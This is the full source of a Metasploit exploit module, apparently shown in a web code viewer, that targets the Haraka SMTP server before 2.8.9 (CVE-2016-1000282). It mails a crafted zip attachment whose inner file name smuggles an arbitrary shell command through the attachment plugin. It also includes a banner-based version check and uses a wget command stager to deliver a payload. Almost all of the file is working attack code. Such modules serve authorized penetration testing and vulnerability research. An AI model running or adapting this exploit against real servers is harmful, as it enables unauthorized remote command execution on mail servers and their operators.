Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/linux/smtp/haraka.py
Views: 11623
#!/usr/bin/env python312# Vendor Homepage: https://haraka.github.io/3# Software Link: https://github.com/haraka/Haraka4# Exploit github: http://github.com/outflankbv/Exploits/5# Vulnerable version link: https://github.com/haraka/Haraka/releases/tag/v2.8.86# Version: <= Haraka 2.8.8 (with attachment plugin enabled)7# Tested on: Should be OS independent tested on Ubuntu 16.04.1 LTS8# Tested versions: 2.8.8 and 2.7.29# Thanks to: Dexlab.nl for asking me to look at Haraka.1011import smtplib12import re13from distutils.version import StrictVersion14from email.mime.application import MIMEApplication15from email.mime.multipart import MIMEMultipart16from email.mime.text import MIMEText17import zipfile1819try:20# Python 2 plain strings are bytes21from StringIO import StringIO as BytesIO22except ImportError:23from io import BytesIO24from metasploit import module2526metadata = {27"name": "Haraka SMTP Command Injection",28"description": """29The Haraka SMTP server comes with a plugin for processing attachments.30Versions before 2.8.9 can be vulnerable to command injection31""",32"authors": [33"xychix <xychix[AT]hotmail.com>",34"smfreegard",35"Adam Cammack <adam_cammack[AT]rapid7.com>",36],37"date": "2017-01-26",38"references": [39{"type": "cve", "ref": "2016-1000282"},40{"type": "edb", "ref": "41162"},41{"type": "url", "ref": "https://github.com/haraka/Haraka/pull/1606"},42],43"type": "remote_exploit_cmd_stager",44"rank": "excellent",45"wfsdelay": 5,46"privileged": True,47"targets": [48{"platform": "linux", "arch": "x64"},49{"platform": "linux", "arch": "x86"},50],51"payload": {"command_stager_flavor": "wget"},52"options": {53"email_to": {54"type": "string",55"description": "Email to send to, must be accepted by the server",56"required": True,57"default": "admin@localhost",58},59"email_from": {60"type": "string",61"description": "Address to send from",62"required": True,63"default": "[email protected]",64},65"rhost": {66"type": "address",67"description": "Target server",68"required": True,69"default": None,70},71"rport": {72"type": "port",73"description": "Target server port",74"required": True,75"default": 25,76},77"command": {78"type": "string",79"description": "Command to run on the target",80"required": True,81"default": "/bin/echo hello",82},83},84"notes": {"AKA": ["Harakiri"]},85}868788def send_mail(to, mailserver, cmd, mfrom, port):89msg = MIMEMultipart()90html = "harakiri"91msg["Subject"] = "harakiri"92msg["From"] = mfrom93msg["To"] = to94msg.attach(MIMEText(html))95module.log(96"Send harariki to %s, commandline: %s , mailserver %s is used for delivery"97% (to, cmd, mailserver),98"debug",99)100part = MIMEApplication(create_zip(cmd), Name="harakiri.zip")101part["Content-Disposition"] = 'attachment; filename="harakiri.zip"'102msg.attach(part)103module.log("Sending mail to target server...")104module.log(msg.as_string(), "debug")105s = smtplib.SMTP(mailserver, port)106try:107resp = s.sendmail(mfrom, to, msg.as_string())108except smtplib.SMTPDataError as err:109if err[0] == 450:110module.log("Triggered bug in target server (%s)" % err[1], "good")111s.close()112return True113module.log("Bug not triggered in target server", "error")114module.log(115"it may not be vulnerable or have the attachment plugin activated", "error"116)117s.close()118return False119120121class InMemoryZip(object):122def __init__(self):123self.in_memory_zip = BytesIO()124125def append(self, filename_in_zip, file_contents):126zf = zipfile.ZipFile(self.in_memory_zip, "a", zipfile.ZIP_DEFLATED, False)127zf.writestr(filename_in_zip, file_contents)128for zfile in zf.filelist:129zfile.create_system = 0130return self131132def read(self):133self.in_memory_zip.seek(0)134return self.in_memory_zip.read()135136137def create_zip(cmd="touch /tmp/harakiri"):138z1 = InMemoryZip()139z2 = InMemoryZip()140z2.append(141"harakiri.txt",142"Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua.",143)144z1.append('a";%s;echo "a.zip' % cmd, z2.read())145return z1.read()146147148def check_banner(args):149module.log(150"{}:{} Starting banner check for Haraka < 2.8.9".format(151args["rhost"], args["rport"]152),153level="debug",154)155c = smtplib.SMTP()156try:157(code, banner) = c.connect(args["rhost"], int(args["rport"]))158except:159return "unknown"160161c.quit()162163if code == 220 and "Haraka" in banner:164versions = re.findall("(\d+\.\d+\.\d+)", banner)165if versions:166if StrictVersion(versions[0]) < StrictVersion("2.8.9"):167return "appears"168else:169return "safe"170else:171return "detected"172elif code == 220:173return "detected"174else:175return "unknown"176177178def exploit(args):179send_mail(180args["email_to"],181args["rhost"],182args["command"],183args["email_from"],184int(args["rport"]),185)186187188if __name__ == "__main__":189module.run(metadata, exploit, soft_check=check_banner)190191192